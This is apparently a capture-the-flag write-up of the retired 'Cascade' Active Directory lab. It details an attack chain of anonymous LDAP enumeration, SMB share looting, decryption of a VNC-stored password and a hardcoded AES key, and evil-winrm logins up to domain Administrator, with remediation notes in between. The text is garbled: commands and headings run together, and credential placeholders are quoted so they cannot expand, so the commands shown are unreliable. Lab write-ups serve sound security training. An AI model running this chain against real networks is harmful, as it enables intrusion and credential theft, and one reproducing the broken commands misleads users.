Cascade
Summary
I performed an anonymous LDAP null-bind against the cascade.local domain controller and discovered a non-standard Active Directory attribute, cascadeLegacyPwd, left behind on user r.thompson by an account-migration script, containing a base64-encoded legacy cleartext password. With those credentials I browsed an over-permissioned SMB file share and recovered a VNC viewer registry export that stored an obfuscated password for a second account, s.smith, whose WinRM access yielded the user flag.
Pivoting with s.smith, I downloaded an internal audit application from a second share, along with its SQLite credential database. Static string extraction from the application's crypto DLL revealed a hardcoded AES key and initialization vector compiled in plaintext; decrypting the stored ciphertext recovered the domain Administrator password and completed full domain takeover.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD6="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET casc-dc1.cascade.local cascade.local" | sudo tee -a /etc/hostsnmap -sV -sC -p 53,88,135,139,389,445,636,5985 $TARGET -oN casc-dc1-nmap.txtnxc smb $TARGETExact commands 3
ldapsearch -x -H ldap://$TARGET -b 'DC=cascade,DC=local' '(objectClass=user)' dn sAMAccountName cascadeLegacyPwd 2>/dev/null | grep -B2 'cascadeLegacyPwd'printf '%s' '$PASSWORD3' | base64 -d && echonxc smb $TARGET -d cascade.local -u r.thompson -p '$PASSWORD2' --sharesFixDisable anonymous LDAP bind and purge the cascadeLegacyPwd attributeCritical
Exact commands 4
mkdir -p /tmp/cascade_Data && smbclient //$TARGET/Data -U 'cascade.local/r.thompson%$PASSWORD2' -c 'recurse ON; prompt OFF; mget *'find /tmp/cascade_Data -type f -maxdepth 8 -printf '%P\n'grep -i -n 'Password' '/tmp/cascade_Data/IT/Temp/s.smith/VNC Install.reg'python3 -c "
import binascii
from Crypto.Cipher import DES
key = bytes([0xe8,0x4a,0xd6,0x60,0xc4,0x72,0x1a,0xe0])
ct = binascii.unhexlify('<hex_password_bytes_from_reg>')
print(DES.new(key, DES.MODE_ECB).decrypt(ct).rstrip(b'\x00').decode())
"FixRestrict the Data SMB share and remove credential files from shared storageHigh
Exact commands 3
nxc winrm $TARGET -d cascade.local -u s.smith -p '$PASSWORD4'evil-winrm -i $TARGET -u s.smith -p '$PASSWORD4'type C:\Users\s.smith\Desktop\user.txtExact commands 3
mkdir -p /tmp/cascade_Audit && smbclient //$TARGET/Audit$ -U 'cascade.local/s.smith%$PASSWORD4' -c 'recurse ON; prompt OFF; mget *'sqlite3 /tmp/cascade_Audit/DB/Audit.db '.tables'sqlite3 /tmp/cascade_Audit/DB/Audit.db 'SELECT * FROM Ldap;'FixRemove the Audit$ credential database from a shared location and restrict share accessHigh
Exact commands 2
strings -n 4 /tmp/cascade_Audit/CascCrypto.dll | grep -E '^.{16}$'python3 - <<'PY'
from base64 import b64decode
from Crypto.Cipher import AES
ct = b64decode('$PASSWORD6')
key = b"$PASSWORD"
iv = b'$PASSWORD7'
print(AES.new(key, AES.MODE_CBC, iv).decrypt(ct).rstrip(b'\x00').decode())
PYFixReplace the hardcoded AES key and IV in CascCrypto.dll with runtime key retrieval from a secrets storeCritical
Exact commands 3
nxc winrm $TARGET -d cascade.local -u Administrator -p '$PASSWORD5'evil-winrm -i $TARGET -u Administrator -p '$PASSWORD5'type C:\Users\Administrator\Desktop\root.txtExposed services
| 53/tcp | domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-09 07:46:05Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 636/tcp | tcpwrapped |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 49154/tcp | unknown recon-sweep-discovered |
| 49155/tcp | unknown recon-sweep-discovered |
| 49157/tcp | unknown recon-sweep-discovered |
| 49158/tcp | unknown recon-sweep-discovered |
| 49165/tcp | unknown recon-sweep-discovered |